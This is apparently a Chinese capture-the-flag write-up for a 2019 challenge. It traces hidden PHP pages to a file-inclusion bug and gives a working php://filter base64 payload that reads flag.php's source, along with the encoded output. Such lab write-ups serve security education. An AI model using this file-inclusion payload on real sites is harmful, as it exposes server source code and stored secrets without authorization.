[极客大挑战 2019]Secret File

0x00

打开网页如下

打开网站源码,查找信息。

我看到还存在Archive_room.php文件,打开

打开网页源码,查看信息

可以看出点击SECRET按钮就是请求action.php文件,点击SECRET按钮

发现请求的是end.php,页面进行了重定向,而且根据上面的提示说明action.php文件里面有重要信息
我们可以通过抓包,获得被重定向的网页

我们可以知道还存在secr3t.php文件,打开改文件

可以知道flag就在flag.php中,打开如下

看来flag是隐藏在代码里面,那我们分析一下secr3t.php中的代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);       ##文件包含
//flag放在了flag.php里
?>
</html>

由该代码我们可以知道存在文件包含,但是flag隐藏在代码中,直接将flag.php包含进去也不能得到
要想办法得到flag.php的源码最好了,那样就可以直接获得flag
想到这里也许可以试一下php的伪协议php://filter,
php有那么多伪协议为什么使用这个?
因为这个伪协议有过滤器,我们可以使用它对包含的文件进行编码
这样flag.php里面的代码就不会执行
我们可以构造如下payload:

/secr3t.php?file=php://filter/read=convert.base64-encode/resource=./flag.php

我们得到了base64加密的flag.php文件里面的内容如下:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NTgzNjc4NDUtOTg1ZS00NDY4LTk1MGUtYzE5ZGNmYmIwNzQ0fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

然后我们可以找一个网站进行解密,
这里我们访问:http://tool.chinaz.com/Tools/Base64.aspx
得到了如下结果

0x01

伪协议参考:https://www.freebuf.com/column/148886.html

原文地址:https://www.cnblogs.com/Wuser/p/13509050.html